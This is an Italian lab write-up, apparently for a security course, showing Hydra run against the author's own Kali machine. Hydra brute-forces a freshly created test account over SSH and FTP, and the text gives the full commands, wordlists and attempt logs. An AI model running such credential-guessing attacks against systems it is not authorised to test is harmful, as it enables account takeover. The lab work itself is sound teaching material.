

Authentication cracking con Hydra

Introduzione

Hydra è uno strumento di cracking delle password ampiamente utilizzato per eseguire attacchi di forza bruta e attacchi a dizionario su vari protocolli di rete. La sua popolarità tra i professionisti della sicurezza e gli esperti di penetration testing è dovuta alla sua efficacia nel testare la robustezza delle password di sistemi e servizi.

Obiettivo dell'Esercizio

Nel corso di questo esercizio, abbiamo testato Hydra sulla nostra macchina Kali Linux. L'obiettivo era scoprire il nome utente e la password di un nuovo account creato, utilizzando i protocolli SSH e FTP.

Procedura

```
(kali㉿kali)-[~]
$ sudo adduser
[sudo] password for kali:
fatal: Only one or two names allowed.

(kali㉿kali)-[~]
$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali㉿kali)-[~]
$
```

☐ 1. Creazione dell'Utente:

Abbiamo iniziato creando un nuovo utente con il comando:

sudo adduser nome_utente

```
GNU nano 8.3 /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
```

☐ 2. Attivazione del Servizio SSH:

Successivamente, abbiamo attivato il servizio SSH utilizzando il comando:

sudo service ssh start

Abbiamo poi esaminato il file di configurazione del demone **sshd**, sebbene non fosse necessario apportare modifiche per questo esercizio.

```
—(kali@kali)-[~]
—$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:vE1iEMVklm4QLGxCmrm81hQy16U760bEH5DFBDT951w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
Nessus VM
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
—(test_user@kali)-[~]
```

☐ 3. Test della Connessione SSH:

Per verificare la connessione SSH dell'utente appena creato, abbiamo eseguito il seguente comando (sostituendo IP kali con l'indirizzo IP della nostra macchina):

```
ssh test_user@ip_kali
```

Se le credenziali erano corrette, ricevevamo il prompt dei comandi dell'utente **test_user**.

```

(kali@kali)-[~]
$ sudo apt install seclists
The following packages were automatically installed and are no longer required:
aspnetcore-runtime-6.0      libSDL2-image-2.0-0      python3-pydyf
aspnetcore-targeting-pack-6.0 libSDL2-mixer-2.0-0      python3-pygame
dotnet-apphost-pack-6.0     libSDL2-ttf-2.0-0        python3-pyinstaller
dotnet-host                  libunwind-19              python3-pyinstaller-hooks-contrib
dotnet-hostfxr-6.0          libwebRTC-audio-processing1 python3-pymysql
dotnet-runtime-6.0          netstandard-targeting-pack-2.1 python3-pyphen
dotnet-runtime-deps-6.0     openjdk-23-jre            python3-pyvnc
dotnet-sdk-6.0              openjdk-23-jre-headless   python3-regex
dotnet-targeting-pack-6.0    python3-altgraph          python3-secretsocks
hyphen-en-us                 python3-antlr4             python3-sqlalchemy-utc
libc++1-19                   python3-cssselect2         python3-stix2
libc++abi1-19                python3-docopt             python3-stix2-patterns
libconfig++9v5               python3-donut              python3-stone
libdirectfb-1.7-7t64         python3-dropbox            python3-websocket
libfmt9                       python3-humanize           python3-websocketify
libgtksourceview-3.0-1        python3-jq                 python3-xlrd
libgtksourceview-3.0-common  python3-jwcrypto           python3-xlutils
libgtksourceviewmm-3.0-0v5    python3-macholib           python3-xlwt
libjq1                       python3-markdown2          python3-zlib-wrapper
libonig5                     python3-md2pdf             starkiller
libopusfile0                 python3-obfuscator         weasyprint
libportmidi0                 python3-pydispatch

Use 'sudo apt autoremove' to remove them.

Upgrading:
  seclists

Summary:
  Upgrading: 1, Installing: 0, Removing: 0, Not Upgrading: 1191
  Download size: 533 MB
  Freed space: 266 MB

Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.1-0kali1 [533 MB]
Ign:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.1-0kali1
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.1-0kali1 [533 MB]
Fetched 487 MB in 1min 29s (5,454 kB/s)
(Reading database ... 409789 files and directories currently installed.)
Preparing to unpack .../seclists_2025.1-0kali1_all.deb ...
Unpacking seclists (2025.1-0kali1) over (2024.4-0kali1) ...
Setting up seclists (2025.1-0kali1) ...
Processing triggers for kali-menu (2024.4.0) ...
Processing triggers for wordlists (2023.2.0) ...
(kali@kali)-[~]

```

☐ 4. Installazione di Seclists:

Per facilitare il cracking delle password, abbiamo installato la collezione di liste di username e password, Seclists, con il comando:

sudo apt install seclists

Tuttavia, per velocizzare il processo, ho creato due file di testo contenenti possibili username e password.

```

--(kali@kali)-[~/Desktop]
$ hydra -L USER.txt -P Password.txt 192.168.50.100 -t4 ssh
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 11:18:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 36 login tries (l:6/p:6), ~9 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 11:18:25

--(kali@kali)-[~/Desktop]
$ hydra -L USER.txt -P Password.txt 192.168.50.100 -t 4 ssh
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 11:19:41
[DATA] max 4 tasks per 1 server, overall 4 tasks, 36 login tries (l:6/p:6), ~9 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 11:19:52

--(kali@kali)-[~/Desktop]
$ hydra -L USER.txt -P Password.txt 192.168.50.100 -t 1 ssh
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 11:20:00
[DATA] max 1 task per 1 server, overall 1 task, 36 login tries (l:6/p:6), ~36 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ERROR] could not connect to ssh://192.168.50.100:22 - Socket error: Connection reset by peer

--(kali@kali)-[~/Desktop]
$ hydra -L USER.txt -P Password.txt 192.168.50.100 -t 1 ssh
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
s, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 11:20:32
[DATA] max 1 task per 1 server, overall 1 task, 36 login tries (l:6/p:6), ~36 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[STATUS] 19.00 tries/min, 19 tries in 00:01h, 17 to do in 00:01h, 1 active

```

☐ 5. Cracking delle Credenziali via SSH:

Utilizzando Hydra, abbiamo eseguito il comando:

hydra -L file_user.txt -P file_password.txt 192.168.50.100 -t 1 ssh

Questo comando ci ha permesso di trovare l'username e la password dell'account creato in precedenza attraverso la porta 22, dedicata al protocollo SSH.


```

(kali㉿kali)-[~/Desktop]
$ sudo service vsftpd start

(kali㉿kali)-[~/Desktop]
$ hydra -L USER.txt -P Password.txt 192.168.50.100 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 11:28:52
[DATA] max 4 tasks per 1 server, overall 4 tasks, 36 login tries (l:6/p:6), ~9 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "franco_rossi" - pass "tottigol" - 1 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco_rossi" - pass "passtest" - 2 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco_rossi" - pass "testpass" - 3 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco_rossi" - pass "maradona" - 4 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco_rossi" - pass "milanoschifo" - 5 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "franco_rossi" - pass "weed" - 6 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni bianchi" - pass "tottigol" - 7 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni bianchi" - pass "passtest" - 8 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni bianchi" - pass "testpass" - 9 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni bianchi" - pass "maradona" - 10 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni bianchi" - pass "milanoschifo" - 11 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "giovanni bianchi" - pass "weed" - 12 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tottigol" - 13 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "passtest" - 14 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 15 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "maradona" - 16 of 36 [child 1] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "tottigol" - 19 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "passtest" - 20 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "testpass" - 21 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "maradona" - 22 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "milanoschifo" - 23 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user_test" - pass "weed" - 24 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "simeone_milano" - pass "tottigol" - 25 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "simeone_milano" - pass "passtest" - 26 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "simeone_milano" - pass "testpass" - 27 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "simeone_milano" - pass "maradona" - 28 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "simeone_milano" - pass "milanoschifo" - 29 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "simeone_milano" - pass "weed" - 30 of 36 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ritish nero" - pass "tottigol" - 31 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ritish nero" - pass "passtest" - 32 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ritish nero" - pass "testpass" - 33 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ritish nero" - pass "maradona" - 34 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ritish nero" - pass "milanoschifo" - 35 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ritish nero" - pass "weed" - 36 of 36 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 11:29:15

```

❑ 6. Configurazione del Servizio FTP:

Per eseguire il cracking delle credenziali via FTP, abbiamo prima installato il server **vsftpd** con il seguente comando:

```
sudo apt install vsftpd
```

Dopo aver avviato il servizio con:

```
sudo service vsftpd start
```

Abbiamo utilizzato nuovamente Hydra per craccare le credenziali con il comando:

```
hydra -L file_user.txt -P file_password.txt 192.168.50.100 -t 4 ftp
```

L'opzione **-V** ci ha permesso di monitorare in tempo reale i tentativi di cracking effettuati da Hydra.

Risultati

Grazie a questi comandi, siamo riusciti a ottenere sia l'username che la password corretti per l'account creato, sia tramite la porta 22 (SSH) che tramite la porta 21 (FTP).

Conclusioni

L'esperimento ha dimostrato l'efficacia di Hydra come strumento di cracking delle password su diversi protocolli. È fondamentale utilizzare tali strumenti in un contesto legale e autorizzato, per garantire la sicurezza dei sistemi e delle informazioni.